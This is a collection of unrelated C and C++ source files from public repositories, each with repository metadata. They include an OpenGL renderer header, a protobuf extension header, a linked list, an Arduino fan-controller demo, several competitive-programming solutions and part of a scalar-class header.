#pragma once #include <GL/glew.h> #include "Shader.h" #include "VertexArray.h" #include "IndexBuffer.h" #include "glm/gtc/matrix_transform.hpp" #define ASSERT(x) if (!(x)) __debugbreak(); #define GLCall(x) GLClearError();\ x;\ ASSERT(GLLogCall(#x, __FILE__, __LINE__)) void GLClearError(); bool GLLogCall(const char* function, const char* file, int line); /// <summary> /// Stores all of the components of a draw call /// </summary> struct Renderable { Shader* shader; VertexBuffer* vb; VertexArray* vao; IndexBuffer* ib; //Sets up all of the matrices for a Model View Projection Matrix hardcoded to start glm::mat4 proj = glm::ortho(0.0f, 1080.0f, 0.0f, 760.0f, -1.0f, 1.0f); glm::mat4 view = glm::mat4(1.0f); glm::mat4 model = glm::mat4(1.0f); glm::mat4 mvp = proj * view * model; void BindRenderable() { vao->Bind(); shader->Bind(); } ~Renderable() { delete shader; delete vb; delete vao; delete ib; } }; static class Renderer { public: static Renderable* CreateRenderable(std::string shaderPath, float* verticies, unsigned int verticiesLen, unsigned int strideLen, unsigned int* indicies, unsigned int indiciesLen); static Renderable* CreateRenderable(Shader* shader, VertexBuffer* vb, VertexArray* vao, IndexBuffer* ib); static void Clear(); static void Draw(Renderable* objToRender); static void Draw(Renderable* objToRender, unsigned int drawType); static void Draw(Renderable* objToRender, unsigned int drawType, float x, float y); private: Renderer(); };
[ "noahshields5@gmail.com" ]
noahshields5@gmail.com
c76854ceb9cff1eb48b2c40b5f716ccf0abd7daa
4be41ae28bd7d5cbff5ca173a88f113219d9ec75
/python/google/protobuf/pyext/unknown_fields.h
89bd0ba9a75e9a38fd09e86a32495a992cb4a16a
[ "LicenseRef-scancode-protobuf" ]
permissive
YixuanBan/protobuf-310
ef76fc3aaf88f690fe6e91dd5b1f658beb53814f
cf0110b5b8d476df7a9014b68bc9b1c9b53d9d49
refs/heads/master
2023-03-30T18:30:28.179733
2020-06-08T03:49:37
2020-06-08T03:49:37
270,517,595
0
0
NOASSERTION
2021-03-31T22:09:52
2020-06-08T03:43:15
C++
UTF-8
C++
false
false
3,222
h
// Protocol Buffers - Google's data interchange format // Copyright 2008 Google Inc. All rights reserved. // https://developers.google.com/protocol-buffers/ // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived from // this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #ifndef GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__ #define GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__ #include <Python.h> #include <memory> #include <set> #include <google/protobuf/pyext/message.h> namespace google2 { namespace protobuf { class UnknownField; class UnknownFieldSet; namespace python { struct CMessage; typedef struct PyUnknownFields { PyObject_HEAD; // Strong pointer to the parent CMessage or PyUnknownFields. // The top PyUnknownFields holds a reference to its parent CMessage // object before release. // Sub PyUnknownFields holds reference to parent PyUnknownFields. PyObject* parent; // Pointer to the C++ UnknownFieldSet. // PyUnknownFields does not own this pointer. const UnknownFieldSet* fields; // Weak references to child unknown fields. std::set<PyUnknownFields*> sub_unknown_fields; } PyUnknownFields; typedef struct PyUnknownFieldRef { PyObject_HEAD; // Every Python PyUnknownFieldRef holds a reference to its parent // PyUnknownFields in order to keep it alive. PyUnknownFields* parent; // The UnknownField index in UnknownFields. Py_ssize_t index; } UknownFieldRef; extern PyTypeObject PyUnknownFields_Type; extern PyTypeObject PyUnknownFieldRef_Type; namespace unknown_fields { // Builds an PyUnknownFields for a specific message. PyObject* NewPyUnknownFields(CMessage *parent); void Clear(PyUnknownFields* self); } // namespace unknown_fields } // namespace python } // namespace protobuf } // namespace google #endif // GOOGLE_PROTOBUF_PYTHON_CPP_UNKNOWN_FIELDS_H__
[ "banyixuan@pku.edu.cn" ]
banyixuan@pku.edu.cn
0d96f512caabfeb8a623b1de6b41ab6ad12e8f00
e999fad7fb52fb4c66d227d14f041c425929d009
/homework_2/igg_image/src/igg_image/main.cpp
e4e06ee8007035dedf5c01625473660f8928e068
[]
no_license
pietglas/modern-cpp-course
b3aeb45859f85b06ad146fd6f30619fe1b47b57e
91c1089d0165be92ca82fb35216f2263df72bd20
refs/heads/master
2021-03-26T15:27:44.262452
2020-03-26T21:26:59
2020-03-26T21:26:59
247,717,679
1
0
null
null
null
null
UTF-8
C++
false
false
105
cpp
#include "image.h" #include "io_tools.h" #include <vector> #include <iostream> int main(){ return 0; }
[ "pietglas77@gmail.com" ]
pietglas77@gmail.com
40c303ae04dfc2fd5c191f4e682c57f56a87132b
74322acc3e0aab9682f0e7330d1f616d79d13f04
/list/LinkedList.cpp
83baa9f309be2bc8555495b08143ba9f198941af
[]
no_license
mcorreale1/cplusplus
96e4ca3434f5c62e7b290c340c36766e87ba704d
132ff111d69fd175d6b8f1b2ef0f36a7cea00bbd
refs/heads/master
2021-01-10T07:30:50.015148
2016-02-03T20:21:12
2016-02-03T20:21:12
50,899,885
0
0
null
null
null
null
UTF-8
C++
false
false
1,338
cpp
#include "LinkedList.h" #include "Node.h" LinkedList::LinkedList(Node* first) { head = first; tail = nullptr; size = 1; } LinkedList::LinkedList() { head = nullptr; tail = nullptr; size = 0; } void LinkedList::add(int value) { Node* node = new Node(value); if(head == nullptr) { head = node; } else if (tail == nullptr) { tail = node; head->link = tail; } else { tail->link = node; tail = node; } size++; } int LinkedList::get(int ind) { if (ind == 0) { return head->val; } Node* current = head->link; for(int i = 1; i < ind; i++) { current = current->link; if(current == nullptr) { printf("Out of range"); return ind; } } return current->val; } void LinkedList::remove(int ind) { if(ind == 0) { head = head->link; } else { Node* current = head; for (int i = 1; i < ind; i++) { current = current->link; if(current == nullptr) { printf("Out of range: %d\n",ind); return; } } if(current->link->link != nullptr) { current->link = current->link->link; } else if (current->link == tail) { tail = current; } } }
[ "Mcorreale1@gmail.com" ]
Mcorreale1@gmail.com
4e36cdf231dc29d59e7082399f20c95aa4adb51b
5c56f4f726fc75efd16953be4080333b5d3e2948
/solutions/0077-combinations/combinations.cpp
b3d4668c7f8180c041ca86fe7e876d1605c2ed60
[]
no_license
Ryan-hub-bit/leetcode
0afeb9cf2cdd70968900edf65e54ab062f0ba5cc
0541694634e480b6a5f351e214dafce329ef91d6
refs/heads/master
2021-01-01T08:28:49.657295
2019-12-14T20:17:57
2019-12-14T20:17:57
236,356,424
0
0
null
null
null
null
UTF-8
C++
false
false
720
cpp
// Given two integers n and k, return all possible combinations of k numbers out of 1 ... n. // // Example: // // // Input: n = 4, k = 2 // Output: // [ // [2,4], // [3,4], // [2,3], // [1,2], // [1,3], // [1,4], // ] // // class Solution { public: void dfs(int k, vector<int> &tmp, int lastnum, vector<vector<int> > &ans, int n){ if(k == 0){ans.push_back(tmp);return;} for(int i =lastnum + 1;i <= n;i++){ tmp.push_back(i); dfs(k - 1, tmp, i, ans, n); tmp.pop_back(); } } vector<vector<int>> combine(int n, int k) { vector<vector<int> > ans; vector<int> tmp; dfs(k,tmp, 0,ans,n); return ans; } };
[ "mosquitozm100@gmail.com" ]
mosquitozm100@gmail.com
3d40b48c229c60e4c2c4b746639e27fd5d35ff44
fe2e4dd2472545be25f0efce7e157aa6af3c7aae
/calendar/Source.cpp
5267ed48412f18973e5de90a4407a9e1da4d50dc
[]
no_license
Lev1ty/dmoj
7bf8a355d1ceac91e4ed701d5aae0acf2bd90229
a0c9a83d17b084ec93e77ae11a45a6ef5060db56
refs/heads/master
2021-06-21T09:33:18.713912
2017-07-29T21:00:48
2017-07-29T21:00:48
98,758,706
2
1
null
null
null
null
UTF-8
C++
false
false
339
cpp
#include <iostream> using namespace std; int a, b; int main() { cin >> a >> b; cout << "Sun Mon Tue Wed Thr Fri Sat\n"; int i = 1; for (; i <= a - 1; i++) cout << " "; for (int j = 1; j <= b; j++, i++) { if (j >= 1 && j <= 9) cout << " "; else cout << " "; cout << j; if (i % 7 == 0) cout << '\n'; else cout << ' '; } }
[ "adamxhy123@gmail.com" ]
adamxhy123@gmail.com
2e31fc40fc64282611556eb4a1df37ad406e18bb
7b8b3f86ab542467d364c81d185b0850e7767c51
/ibex_Ctc3BCid_Dir.h
7ee5d17f421f22be8a5c57a1a320e525c1dd757f
[]
no_license
pierleur/Resultat_stage_homeostatsie
457c85436d68a96b65d440ab1f886edec45c00f8
b528fef03c13948310f7cfccb6f9fac2cc19bd59
refs/heads/main
2023-08-13T05:13:58.338217
2021-10-12T19:41:24
2021-10-12T19:41:24
null
0
0
null
null
null
null
UTF-8
C++
false
false
590
h
#ifndef __IBEX_CTC_3B_CID_DIR_H__ #define __IBEX_CTC_3B_CID_DIR_H__ #include <ibex.h> namespace ibex { class Ctc3BCidDir : public Ctc3BCid { public: Ctc3BCidDir(Ctc& ctc, IntervalVector* boxE,int nb_para, int s3b=default_s3b, int scid=default_scid, int vhandled=-1, double var_min_width=default_var_min_width); void contract(IntervalVector& box) override; virtual void contract(IntervalVector& box, ContractContext& context); protected: //Boite enveloppe IntervalVector* m_boxE; bool borne(int var); private: IntervalVector m_initBox; int m_nb_para; }; } #endif
[ "Pierleur" ]
Pierleur
16de75f897990f569c10afd4acdc73f15c9ce8a4
31dec155a9e069adfcf209238677b49d23bf1694
/libraries/ADT7470/examples/adt7470_demo/adt7470_demo.ino
72b07b37ea79259e4b09b120bfedcfc1241d0e5c
[ "MIT" ]
permissive
jantje/Arduino
75a35cfb2e2ce7a1a78ba545ac30ac8c752d1aa8
cd40e51b4eb9f8947aa58f278f61c9121d711fb0
refs/heads/master
2021-12-03T11:16:44.274410
2021-07-11T13:37:02
2021-07-11T13:37:02
382,966,519
0
0
MIT
2021-07-04T23:21:23
2021-07-04T23:21:22
null
UTF-8
C++
false
false
4,074
ino
// // FILE: adt7470_demo.ino // AUTHOR: Rob Tillaart // VERSION: 0.1.1 // PURPOSE: demo ADT7470 library // DATE: 2015-12-02 #include <Wire.h> #include "ADT7470.h" ADT7470 ADT(ADT7470_ADDR_FLOAT); void setup() { Wire.begin(); Serial.begin(115200); Serial.print(F("\n\nStart ")); Serial.println(__FILE__); Serial.println(); if (!ADT.isConnected()) { Serial.println("Cannot connect ADT7470...\n"); // while(1); } // else { testStart(); testRevision(); testTemp(); testPWM(); testTach(); testFanSpeed(); testStop(); } Serial.println("Done"); } void testStart() { Serial.println(F("ADT7470 testStart")); ADT.powerUp(); ADT.startMonitoring(); Serial.println(); Serial.println(); delay(1000); } void testRevision() { Serial.print("ADT7470_LIB_VERSION:\t"); Serial.println(ADT7470_LIB_VERSION); Serial.print("ADT7470 getRevision:\t"); Serial.println(ADT.getRevision()); Serial.print("ADT7470 getDeviceID:\t"); Serial.println(ADT.getDeviceID()); Serial.print("ADT7470 getCompanyID:\t"); Serial.println(ADT.getCompanyID()); Serial.println(); Serial.println(); delay(10); } void testTemp() { Serial.println(F("ADT7470 testTemp 0..9")); Serial.print("temp:"); for (uint8_t i = 0; i < 10; i++) { Serial.print("\t"); Serial.print(ADT.getTemperature(i)); } Serial.println(); Serial.print("max:\t"); Serial.println(ADT.getMaxTemperature()); Serial.println(); Serial.println(); delay(10); } void testPWM() { Serial.println(F("ADT7470 getPWM 0..3")); Serial.print(F("set:")); for (int i = 0; i < 4; i++) { uint8_t pwm = random(255); ADT.setPWM(i, pwm); Serial.print("\t"); Serial.print(pwm); } Serial.println(); Serial.print(F("get:")); for (int i = 0; i < 4; i++) { uint8_t pwm = ADT.getPWM(i); Serial.print("\t"); Serial.print(pwm); } Serial.println(); Serial.println(); delay(10); } void testTach() { uint8_t ppr[4]; Serial.println(F("ADT7470 testTach 0..3")); Serial.print(F("getPPR: ")); for (uint8_t i = 0; i < 4; i++) { ppr[i] = ADT.getPulsesPerRevolution(i); Serial.print("\t"); Serial.print(ppr[i]); } Serial.println(); Serial.print(F("setPPR: ")); for (uint8_t i = 0; i < 4; i++) { ADT.setPulsesPerRevolution(i, ppr[i]); bool b = (ppr[i] == ADT.getPulsesPerRevolution(i)); Serial.print("\t"); Serial.print(b ? "T" : "F"); // expect TTTT } Serial.println(); ADT.setSlowTach(); Serial.println(F("setSlowTach")); Serial.print(F("getTach:")); for (uint8_t i = 0; i < 4; i++) { uint16_t tach = ADT.getTach(i); Serial.print("\t"); Serial.print(tach); } Serial.println(); Serial.print(F("getRPM :")); for (int i = 0; i < 4; i++) { uint32_t rpm = ADT.getRPM(i); Serial.print("\t"); Serial.print(rpm); } Serial.println(); ADT.setFastTach(); Serial.println(F("setFastTach")); Serial.print(F("getTach:")); for (uint8_t i = 0; i < 4; i++) { uint16_t tach = ADT.getTach(i); Serial.print("\t"); Serial.print(tach); } Serial.println(); Serial.print(F("getRPM :")); for (int i = 0; i < 4; i++) { uint32_t rpm = ADT.getRPM(i); Serial.print("\t"); Serial.print(rpm); } Serial.println(); Serial.println(); delay(10); } void testFanSpeed() { Serial.println(F("ADT7470 testFanSpeed")); Serial.print("low:\t"); for (uint8_t i = 0; i < 8; i++) { ADT.setFanLowFreq(i); Serial.print(i); Serial.print("\t"); delay(1000); } Serial.println(); Serial.print("high:\t"); for (uint8_t i = 0; i < 8; i++) { ADT.setFanHighFreq(i); Serial.print(i); Serial.print("\t"); delay(1000); } Serial.println(); ADT.setFanHighFreq(2); Serial.println(); Serial.println(); delay(10); } void testStop() { Serial.println(F("ADT7470 testStop")); ADT.stopMonitoring(); ADT.powerDown(); delay(2000); // TODO how to check if it is down - datasheet. } void loop() { } // -- END OF FILE --
[ "rob.tillaart@gmail.com" ]
rob.tillaart@gmail.com
0ef64ceb0f05daf313f709fd7b0fe903d4815303
7e9b2008a46191882c925023cf84a479e0367773
/Terrain/Terrain/SpriteBatch.h
126fce05c8342ee7d1edb023f2a9e14df6390686
[]
no_license
tjuls123/PersonalWorks
a9655733da75e3a9e8951758b25c34a056fd1ce6
d3dd83b0d882402971f8f0e8934fe66399c3795c
refs/heads/master
2022-11-23T12:21:20.856850
2020-07-09T04:53:49
2020-07-09T04:53:49
278,263,552
0
1
null
null
null
null
GB18030
C++
false
false
1,653
h
#pragma once #include <d3dx9.h> #include <list> #include "CTexture2D.h" struct SpriteNode { RECT _destRect; //目标区域 RECT _surRect; //纹理区域 float _layerDepth; //z值 D3DCOLOR _color; //颜色 SpriteNode(){} SpriteNode(RECT DestRect, RECT SurRect, float layerDepth, D3DCOLOR Color) { _destRect = DestRect; _surRect = SurRect; _layerDepth = layerDepth; _color = Color; } }; #define SPRITEBLENDMODE_NONE 0 #define SPRITEBLENDMODE_ALPHABLEND 1 #define SPRITEBLENDMODE_ADDITIVE 2 class SpriteBatch { public: SpriteBatch(IDirect3DDevice9 *device); ~SpriteBatch(); public: void Begin(DWORD Flags); void End(); void Release() { if (m_pSpriteNode->size() > 0) m_pSpriteNode->clear(); delete m_pSpriteNode; } void Draw(CTexture2D *pTexture, const RECT &destRect, const RECT &surRect, const float &layerDepth = 0.0f, D3DCOLOR color = D3DCOLOR_RGBA(255, 255, 255, 255)); void Draw( CTexture2D* pTexture, const D3DXVECTOR2& Pos, const D3DXVECTOR2& origin, const float& Scale, const float& layerDepth = 0.0f, D3DCOLOR Color = D3DCOLOR_RGBA(255, 255, 255, 255) ); void Draw( CTexture2D* pTexture, const RECT& DesRect, const float& layerDepth = 0.0f, D3DCOLOR Color = D3DCOLOR_RGBA(255, 255, 255, 255) ); private: void PostFrame(RECT destRect, RECT surRect, float layerDepth, D3DCOLOR color); void Flush(); private: IDirect3DDevice9 *m_pDevice; CTexture2D *m_pTexture; D3DXMATRIX m_oriViewMatrix; D3DXMATRIX m_oriProjMatrix; D3DXMATRIX m_viewMatrix; D3DXMATRIX m_projMatrix; DWORD m_Flags; std::list<SpriteNode> *m_pSpriteNode; };
[ "lsn5884@corp.netease.com" ]
lsn5884@corp.netease.com
1e1c4c681d3a033230e3200315130f3451751520
98157b3124db71ca0ffe4e77060f25503aa7617f
/csacademy/round46/c.cpp
07f428798ec183d6247e479eb1b7f1b0637d44cb
[]
no_license
wiwitrifai/competitive-programming
c4130004cd32ae857a7a1e8d670484e236073741
f4b0044182f1d9280841c01e7eca4ad882875bca
refs/heads/master
2022-10-24T05:31:46.176752
2022-09-02T07:08:05
2022-09-02T07:08:35
59,357,984
37
4
null
null
null
null
UTF-8
C++
false
false
1,197
cpp
#include <bits/stdc++.h> using namespace std; const int N = 4e6; int a[N], ans[N], d[N]; int val[N]; int main() { int n; scanf("%d", &n); for (int i = 0; i < n * 2; i++) scanf("%d", a+i); sort(a, a+2*n); int k = 0; for (int i = 0; i < 2 * n; i++) { for (int j = i+1; j < 2 * n; j++) d[k++] = a[j] - a[i]; } sort(d, d+k); vector<int> candid; int last = d[0], cnt = 0; for (int i = 0; i < k; i++) { if (last != d[i]) { if (cnt >= n && last > 0) candid.push_back(last); cnt = 0; last = d[i]; } cnt++; } if (cnt >= n && last > 0) candid.push_back(last); int x = -1, m = 0; for (int c : candid) { x = c; m = 0; for (int i = 0, j = 0; i < 2 * n; i++) { if (val[i] == x) continue; val[i] = x; j = max(j, i+1); while (j < 2 * n && (val[j] == x || a[j] < a[i] + x)) j++; if (j >= 2 * n || a[j] != a[i] + x) { break; } val[j] = x; ans[m++] = a[j]; j++; } if (m == n) break; x = -1; } printf("%d\n", x); if (m == n) { for (int i = 0; i < n; i++) printf("%d%c", ans[i], i == n-1 ? '\n' : ' '); } return 0; }
[ "wiwitrifai@gmail.com" ]
wiwitrifai@gmail.com
56a698b1c20b2c4a3a1c7d6212052c5472165be9
2123a783dec368c22c1223df7a93385df03437ac
/8_1/Cdemo.cpp
ac9655e1f2196cb23d3039baa40d5b36b8a03c21
[]
no_license
arlose/xiaomingsworld
69cb007aa71f931660865b45509871fb7c12a88f
f088d9cbc9cfaaeae6eb4628584b2cc64cb95512
refs/heads/master
2020-05-22T18:19:35.564615
2017-02-23T04:26:55
2017-02-23T04:26:55
34,460,679
0
0
null
null
null
null
GB18030
C++
false
false
2,020
cpp
/*程序2.1 Cdemo.cpp*/ #include <graphics.h> #include <conio.h> #include <stdlib.h> #include <time.h> #include "function.h" /* 遇到墙则不走 */ void AdvStep() { if(!IsFrontWall()) step(); } /* 向左走一步 */ void StepLeft() { int dir = getDirection(); switch (dir) { case DIR_LEFT: break; case DIR_RIGHT: turnBack(); break; case DIR_UP: turnLeft(); break; case DIR_DOWN: turnRight(); break; default: return ; } AdvStep(); return ; } /* 向右走一步 */ void StepRight() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: break; case DIR_LEFT: turnBack(); break; case DIR_DOWN: turnLeft(); break; case DIR_UP: turnRight(); break; default: return ; } AdvStep(); return ; } /* 向上走一步 */ void StepUp() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: turnLeft(); break; case DIR_LEFT: turnRight(); break; case DIR_DOWN: turnBack(); break; case DIR_UP: break; default: return ; } AdvStep(); return ; } /* 向下走一步 */ void StepDown() { int dir = getDirection(); switch (dir) { case DIR_RIGHT: turnRight(); break; case DIR_LEFT: turnLeft(); break; case DIR_DOWN: break; case DIR_UP: turnBack(); break; default: return ; } AdvStep(); return ; } /* 自定义动作 */ void move() { int dir; srand((unsigned int)time(NULL)); while(1){ dir = rand()%4; switch(dir) { case DIR_RIGHT: StepRight(); break; case DIR_LEFT: StepLeft(); break; case DIR_UP: StepUp(); break; case DIR_DOWN: StepDown(); break; default: break; } } return ; } int main() { initgraph(DRAWINGAREAWIDTH, DRAWINGAREAHEIGHT); init(); while(1) { /* 获取按键 */ int key = getch(); if(key=='q') // 按键q退出 break; if(key=='l') // 按键l向左转 turnLeft(); if(key=='s') // 按键s走一步 step(); if(key=='m') // 按键m自定义连贯动作 move(); } closegraph(); return 0; }
[ "arlose.fj@gmail.com" ]
arlose.fj@gmail.com
cbe815b437509b06d178df8bafec3fe2b832f2a0
5b6c65e5019fce5fa3c985b04fbae99bb0cd9b1e
/Raven/src/Common/Translation.cpp
ae7397af12b8691868bae82186a13d96c0dd9202
[ "MIT" ]
permissive
IridescentRose/Raven-Client
8971ba6ecd16fc139e045ebf7c441ff08ba48af0
e39a88eef8d56067387acaaad19ec44ddaab3869
refs/heads/master
2022-11-29T06:58:48.405393
2020-08-11T01:53:51
2020-08-11T01:53:51
265,289,325
11
2
null
null
null
null
UTF-8
C++
false
false
3,047
cpp
#include "Translation.h" #include <fstream> #include <algorithm> #include <iostream> #include <Platform/Platform.h> #if CURRENT_PLATFORM == PLATFORM_PSP #include <dirent.h> #else #include <filesystem> namespace fs = std::filesystem; #endif TranslationObj::TranslationObj() { not_en = false; } TranslationObj::~TranslationObj() { } bool alphaSort(const TranslationInfo& a, const TranslationInfo& b) { return a.code.at(0) < b.code.at(0); } void TranslationObj::init() { //Load index file std::ifstream indexLang("./assets/minecraft/lang/lang.json"); indexLang >> indexRoot; indexLang.close(); //Use this data in order to get the proper info. //Scan our options! std::vector<std::string> files; #if CURRENT_PLATFORM == PLATFORM_PSP DIR* Dir; struct dirent* DirEntry; Dir = opendir("assets/minecraft/lang/"); while ((DirEntry = readdir(Dir)) != NULL) { if (DirEntry->d_stat.st_attr & FIO_SO_IFREG) // we found file { std::string name = DirEntry->d_name; files.push_back(name.substr(0, name.find_last_of("."))); } } closedir(Dir); #else std::string path = "assets/minecraft/lang/"; for (const auto& entry : fs::directory_iterator(path)){ std::string name = entry.path().string().substr(22, entry.path().string().size()); files.push_back(name.substr(0, name.find_last_of("."))); } #endif for (unsigned int i = 0; i < files.size(); i++) { Json::Value val1 = indexRoot["language"]; Json::Value val2 = val1[files[i]]; if (val2) { TranslationInfo info; info.name = val2["name"].asString(); info.region = val2["region"].asString(); info.code = files[i]; available.push_back(info); } } std::ifstream file("assets/minecraft/lang/en_us.json"); file >> en_US_Root; file.close(); std::sort(available.begin(), available.end(), alphaSort); } void TranslationObj::setTranslation(std::string region_code) { if (region_code != "en_us" && region_code != "en_gb") { not_en = true; std::ifstream file("assets/minecraft/lang/" + region_code + ".json"); file >> translated_Root; file.close(); } else { not_en = false; } } std::string TranslationObj::getText(std::string key) { if (not_en) { //TODO: And key exists! Json::Value string = translated_Root[key.c_str()]; //Get from key if (string) { return string.asString(); //Return key if it exists } else { string = en_US_Root[key.c_str()]; if (string) { return string.asString(); } else { return "ERROR!"; } } } else { Json::Value string = en_US_Root[key.c_str()]; if (string) { return string.asString(); } else { return "ERROR!"; } } } TranslationObj g_TranslationOBJ;
[ "iridescentrosesfall@gmail.com" ]
iridescentrosesfall@gmail.com
aa6c62917d9af46bf483d16dab6b5d900875c3a5
a692fe17e0c96a713ccb89ad36f0348cbc4b361f
/osiris/BaseClassLib/rgpscalar.h
398dd1d17b55a6edc643a793d611d8aad1cc7b7b
[]
no_license
Rajesh35hsp/osiris
9c249633745d0730c96132a58bfd95e0aeaa1148
c9b22d74881472b43f2c0e5619aa53341c709d19
refs/heads/master
2023-08-27T00:50:03.242581
2021-11-05T13:26:29
2021-11-05T13:26:29
null
0
0
null
null
null
null
UTF-8
C++
false
false
17,308
h
/* * =========================================================================== * * PUBLIC DOMAIN NOTICE * National Center for Biotechnology Information * * This software/database is a "United States Government Work" under the * terms of the United States Copyright Act. It was written as part of * the author's official duties as a United States Government employee and * thus cannot be copyrighted. This software/database is freely available * to the public for use. The National Library of Medicine and the U.S. * Government have not placed any restriction on its use or reproduction. * * Although all reasonable efforts have been taken to ensure the accuracy * and reliability of the software and data, the NLM and the U.S. * Government do not and cannot warrant the performance or results that * may be obtained by using this software or data. The NLM and the U.S. * Government disclaim all warranties, express or implied, including * warranties of performance, merchantability or fitness for any particular * purpose. * * Please cite the author in any work or product based on this material. * * =========================================================================== * * FileName: rgpscalar.h * Author: Robert Goor * */ // // class RGPScalar or persistent scalar...it is a acalar, which can be subclassed as an integer, double, unsigned // or boolean, but it can be collected in an RGDList and saved // #ifndef _RGPSCALAR_H_ #define _RGPSCALAR_H_ #include "rgpersist.h" #include "rgstring.h" #include "rgdefs.h" class RGFile; class RGVInStream; class RGVOutStream; const int _RGPINT_ = 8; const int _RGPSCALAR_ = 11; const int _RGPDOUBLE_ = 12; const int _RGPUNSIGNED_ = 13; const int _RGPBOOLEAN_ = 14; const int _RGPDECIMAL_ = 39; const int _RGXMLINT_ = 40; const int _RGXMLDOUBLE_ = 41; const int _RGXMLUNSIGNED_ = 42; const int _RGXMLSTRINGSCALAR_ = 44; PERSISTENT_PREDECLARATION (RGPScalar) PERSISTENT_PREDECLARATION (RGPInt) PERSISTENT_PREDECLARATION (RGPDouble) PERSISTENT_PREDECLARATION (RGPUnsigned) PERSISTENT_PREDECLARATION (RGPBoolean) PERSISTENT_PREDECLARATION (RGPDecimal) PERSISTENT_PREDECLARATION (RGXMLInt) PERSISTENT_PREDECLARATION (RGXMLDouble) PERSISTENT_PREDECLARATION (RGXMLUnsigned) PERSISTENT_PREDECLARATION (RGXMLStringScalar) class RGPScalar : public RGPersistent { PERSISTENT_DECLARATION(RGPScalar) public: RGPScalar (); RGPScalar (const RGPScalar&); virtual ~RGPScalar (); virtual RGPScalar& operator=(const RGPScalar& rhs); RGPScalar& operator=(int i) { SetTo (i); return *this; } RGPScalar& operator=(double d) { SetTo (d); return *this; } RGPScalar& operator=(unsigned long i) { SetTo (i); return *this; } Boolean operator==(const RGPScalar& rhs) const; Boolean operator<=(const RGPScalar& rhs) const; Boolean operator<(const RGPScalar& rhs) const; Boolean operator>=(const RGPScalar& rhs) const; Boolean operator>(const RGPScalar& rhs) const; Boolean operator!=(const RGPScalar& rhs) const; operator int() const { return GetInt (); } operator double() const { return GetDouble (); } operator unsigned long() const { return GetUnsigned (); } Boolean GetBooleanValue () const { return GetBoolean (); } RGString GetStringValue (unsigned long length) const { return GetString (length); } virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual void SetTotalDigits (int n); virtual void SetFractionalDigits (int n); virtual void SetMaxInclusive (const RGPScalar& max); virtual void SetMinInclusive (const RGPScalar& min); virtual void SetMaxExclusive (const RGPScalar& max); virtual void SetMinExclusive (const RGPScalar& min); virtual void ResetBounds (); virtual unsigned long TotalLength () const; virtual unsigned long FractionDigits () const; virtual unsigned long TotalDigits () const; Boolean BoundsViolation () const { return ViolatedBounds; } protected: Boolean ViolatedBounds; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPInt : public RGPScalar { PERSISTENT_DECLARATION(RGPInt) public: RGPInt () : RGPScalar (), Value (0) {} RGPInt (int val) : RGPScalar (), Value (val) {} RGPInt (const RGPInt& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPInt (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; virtual unsigned HashNumber (unsigned long Base) const; virtual Boolean IsEqualTo (const RGPersistent*) const; virtual void RestoreAll (RGFile&); virtual void RestoreAll (RGVInStream&); virtual void SaveAll (RGFile&) const; virtual void SaveAll (RGVOutStream&) const; virtual int Compare (const RGPScalar& rhs) const; virtual int Compare (int i) const; virtual int Compare (double d) const; virtual int Compare (unsigned long i) const; virtual int Compare (const RGString& str) const; virtual int GetInt () const; virtual double GetDouble () const; virtual unsigned long GetUnsigned () const; virtual Boolean GetBoolean () const; virtual RGString GetString (unsigned long length) const; virtual unsigned long TotalLength () const; virtual unsigned long TotalDigits () const; protected: int Value; virtual void SetTo (int i); virtual void SetTo (double d); virtual void SetTo (unsigned long i); }; class RGPDouble : public RGPScalar { PERSISTENT_DECLARATION(RGPDouble) public: RGPDouble () : RGPScalar (), Value (0.0) {} RGPDouble (double val) : RGPScalar (), Value (val) {} RGPDouble (const RGPDouble& rhs) : RGPScalar (), Value (rhs.Value) {} ~RGPDouble (); virtual RGPScalar& operator=(const RGPScalar& rhs); virtual void SetValueFrom (const RGPScalar& rhs); virtual void SetValueFrom (const RGString& rhs); virtual size_t StoreSize () const; virtual int CompareTo (const RGPersistent*) const; 